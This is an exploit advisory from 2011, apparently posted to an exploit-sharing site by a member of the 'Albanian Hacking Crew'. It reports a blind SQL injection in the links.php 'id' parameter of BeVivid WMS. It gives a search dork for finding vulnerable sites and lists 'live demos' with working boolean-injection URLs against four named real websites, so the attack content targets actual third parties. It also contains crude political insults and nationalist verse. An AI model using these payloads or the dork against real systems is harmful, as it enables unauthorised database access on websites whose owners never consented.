BeVivid WMS Blind SQL Injection

`=========================================================================  
BeVivid WMS - Website Management System (links.php?id=) Blind-SQL-i Vulnerability   
==========================================================================  
  
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=  
+=+=+= +=+=+=  
+=+=+= /\ | | | | ________ _____ _____ __ _ __ +=+=+=  
+=+=+= / \ | |__| | _____ / ______/ | _ \ | ____|\ \ / \ / / +=+=+=  
+=+=+= / /\ \| |__| | /_____/ | | | |_) / | |__ \ \/ \/ / +=+=+=  
+=+=+= / ____ \ | | | | |_______ | __\ \ | __| \ / +=+=+=  
+=+=+= /_/ \_\| | | |________/ |_| \_\ | |_______\_____/_____ +=+=+=  
+=+=+= |_____________________|+=+=+=  
+=+=+= +=+=+=  
+=+=+= X-n3t - **RoAd_KiLlEr** - The|Denny` - The_1nv1s1bl3 +=+=+=  
+=+=+= +=+=+=  
+=+=+= 0ne Nation , 0ne People , 0ne Culture , 0ne Language = Ethnic Albania +=+=+=  
+=+=+= +=+=+=  
+=+=+= ....::: | ALBANIAN HACKING CREW | :::.... 2011 +=+=+=  
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=  
0 0  
1 ########################################### 1  
0 I'm **RoAd_KiLlEr** member from 1337 DAY Team 1  
1 ########################################### 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  
  
[+]Title :....... BeVivid WMS - Website Management System (links.php?id=) Blind-SQL-i Vulnerability   
[+]Author :......**RoAd_KiLlEr**  
[+]Tested on :...Win Xp Sp 2/3   
---------------------------------------------------------------------------  
[~] Founded by **RoAd_KiLlEr**  
[~] Team: Albanian Hacking Crew  
[~] Contact: sukihack[at]gmail[dot]com  
[~] Home: http://1337day.com/author/2447 & http://road-killer.blogspot.com  
[~] Vendor: http://www.bevivid.co.uk  
[~] Price: £590.00 <= 0.-  
  
==========ExPl0iT3d by **RoAd_KiLlEr**==========  
  
  
  
[+] DORK: inurl:links.php?id= web design by BeVivid  
  
  
  
[+] Description:  
  
BeVivid’s approach to building websites is to tackle your website project not just from a design, coding, SEO or marketing angle, but from all of these at once. By considering all aspects of your website design before we start, we can build websites that consistently outperform your competitors’ websites. Read on to find out how a website design from BeVivid will set your business ahead of the game.  
  
  
  
[ I ]. BLIND - SQL-i Vulnerability  
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+  
  
  
  
  
  
  
  
[P0C]: http://127.0.0.1/links.php?id= [ Blind SQL-INJECTION]  
  
  
  
  
[L!v3 D3m0's]:  
  
http://www.cartagenamarina.es/links.php?id=12+and+substring(version(),1,1)=4 <= TRUE -.-  
  
http://www.cartagenamarina.es/links.php?id=12+and+substring(version(),1,1)=5 <= FALSE -.o  
  
  
http://www.bevivid2.co.uk/links.php?id=155+and+substring(version(),1,1)=4 <= TRUE -.-  
  
http://www.bevivid2.co.uk/links.php?id=155+and+substring(version(),1,1)=5 <= FALSE -.o  
  
  
http://www.forklift-attachments.co.uk/links.php?id=198+and+substring(version(),1,1)=4 <= TRUE -.-  
  
http://www.forklift-attachments.co.uk/links.php?id=198+and+substring(version(),1,1)=5 <= FALSE -.o  
  
  
http://www.windowanddoorsecurity.co.uk/links.php?id=98+and+substring(version(),1,1)=4 <= TRUE -.-  
  
http://www.windowanddoorsecurity.co.uk/links.php?id=98+and+substring(version(),1,1)=5 <= FALSE -.o  
  
  
  
  
[+] TIME TABLE:  
  
13 June 2011 - Vulnerability discovered.  
15 June 2011 - Advisory released.  
  
  
===========================================================================================  
[!] Albanian Hacking Crew   
===========================================================================================  
[!] **RoAd_KiLlEr** says: FUCK BDI,Mbasi jeni qaq lesha me votu BDI,Ishalla jav venon kishat ke Shpija. PDSH 4 Life.   
===========================================================================================  
[!] MaiL: sukihack[at]gmail[dot]com  
===========================================================================================  
[!] Greetz To : Ton![w]indowS | X-n3t | The|DennY` | THE_1NV1S1BL3 | KHG & All Albanian/Kosova Hackers  
===========================================================================================  
[!] Spec Th4nks: r0073r | indoushka in Jail :( | Sid3^effects | jdc from jeffchannell.com | DoNnY | MaFiTeRRoR |  
| bda.a7v | Sifu | L0NnY | All 1337day Members | And All My Friendz  
===========================================================================================  
[!] Red n'black i dress eagle on my chest  
It's good to be an ALBANIAN  
Keep my head up high for that flag I die  
Im proud to be an ALBANIAN  
===========================================================================================  
  
`